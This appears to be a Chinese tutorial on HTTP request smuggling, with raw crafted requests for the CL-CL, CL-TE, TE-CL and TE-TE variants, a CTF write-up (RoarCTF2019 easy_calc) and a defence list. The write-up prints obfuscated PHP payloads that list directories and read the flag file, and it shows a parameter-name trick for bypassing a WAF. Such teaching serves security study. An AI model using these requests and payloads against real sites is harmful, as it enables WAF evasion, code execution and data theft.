从一道题到协议层攻击之HTTP请求走私
字数 1739 2025-08-25 22:58:35
HTTP请求走私攻击详解
0x00 概述
HTTP请求走私(HTTP Request Smuggling)是一种干扰网站处理HTTP请求序列的技术,允许攻击者绕过安全控制、未经授权访问敏感数据并危害其他应用程序用户。
0x01 漏洞成因
根本原因
前端服务器(如CDN)和后端服务器对客户端传入的数据理解不一致,导致处理不同步。主要由于HTTP规范提供了两种指定请求结束位置的方法:
Content-Length标头Transfer-Encoding标头
当同时使用这两种方法时,根据RFC2616规范,Content-Length应被忽略。但在实际部署中,不同服务器实现可能导致处理不一致。
相关背景技术
- Keep-Alive:HTTP/1.1默认特性,允许重用TCP连接进行多次请求
- Pipeline:允许客户端无需等待响应就发送多个HTTP请求(浏览器默认不启用,但服务器通常支持)
0x02 攻击类型
1. CL不为0
场景:前端使用Content-Length,后端忽略GET请求的Content-Length
示例请求:
GET / HTTP/1.1\r\n
Host: test.com\r\n
Content-Length: 44\r\n
GET /secret HTTP/1.1\r\n
Host: test.com\r\n
\r\n
攻击流程:
- 前端按
Content-Length:44处理完整请求 - 后端忽略GET的
Content-Length,将请求视为两个独立请求
2. CL-CL
场景:请求包含两个Content-Length且值不同
示例请求:
POST / HTTP/1.1\r\n
Host: test.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n
12345\r\n
a
攻击流程:
- 前端按第一个
Content-Length:8处理 - 后端按第二个
Content-Length:7处理,留下字符a a与后续正常请求拼接,导致异常
3. CL-TE
场景:前端处理Content-Length,后端处理Transfer-Encoding
示例请求:
POST / HTTP/1.1\r\n
Host: test.com\r\n
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
a
攻击流程:
- 前端按
Content-Length:6处理完整请求 - 后端按chunked编码处理,读到
0\r\n\r\n结束,留下a
4. TE-CL
场景:前端处理Transfer-Encoding,后端处理Content-Length
示例请求:
POST / HTTP/1.1\r\n
Host: test.com\r\n
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
12\r\n
aPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n
攻击流程:
- 前端按chunked编码处理,读到
0\r\n\r\n结束 - 后端按
Content-Length:4处理,读取12\r\n后结束,剩余部分视为新请求
5. TE-TE
场景:前后端都处理Transfer-Encoding,但通过混淆诱导其中一方不处理
示例请求:
POST / HTTP/1.1\r\n
Host: test.com\r\n
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n
\r\n
5c\r\n
aPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n
攻击流程:
- 前端处理
Transfer-Encoding,读到0\r\n\r\n结束 - 后端因混淆的
Transfer-encoding回退到Content-Length,读取5c\r\n后结束,剩余部分视为新请求
0x03 实战案例:RoarCTF2019-Web:easy_calc
题目分析
- 计算器功能
- 输入
calc.php可查看源码 - 存在字符过滤:不能包含空格、制表符、换行等
- 存在WAF,某些字符导致403
利用HTTP走私绕过WAF
-
列目录:
var_dump(base_convert(61693386291,10,36)(chr(47)))base_convert(61693386291,10,36)→scandirchr(47)→/
-
读取flag:
var_dump(base_convert(2146934604002,10,36)(chr(47).base_convert(25254448,10,36)))base_convert(2146934604002,10,36)→readfilebase_convert(25254448,10,36)→f1agg
-
PHP字符串解析特性绕过:
calc.php? num=1;var_dump(readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))- 在
num前加空格绕过WAF - PHP解析时会删除空格,使变量名仍为
num
- 在
0x04 防御措施
- 协议升级:将前端配置为只使用HTTP/2与后端通信
- 禁用连接重用:彻底禁用后端连接重用
- 环境一致性:确保所有服务器运行相同配置的相同web服务器软件
- 严格校验:拒绝模糊请求并关闭关联连接
- 测试工具配置:确保测试工具(如Burp Suite)不自动"修复"请求头
- 代理监控:通过Squid等代理监控流量,阻断走私攻击
0x05 总结
HTTP请求走私是一种危险的协议层攻击,利用前后端服务器对请求边界解析的差异实现攻击。防御关键在于确保请求处理的统一性和严格性,同时保持基础设施的一致性。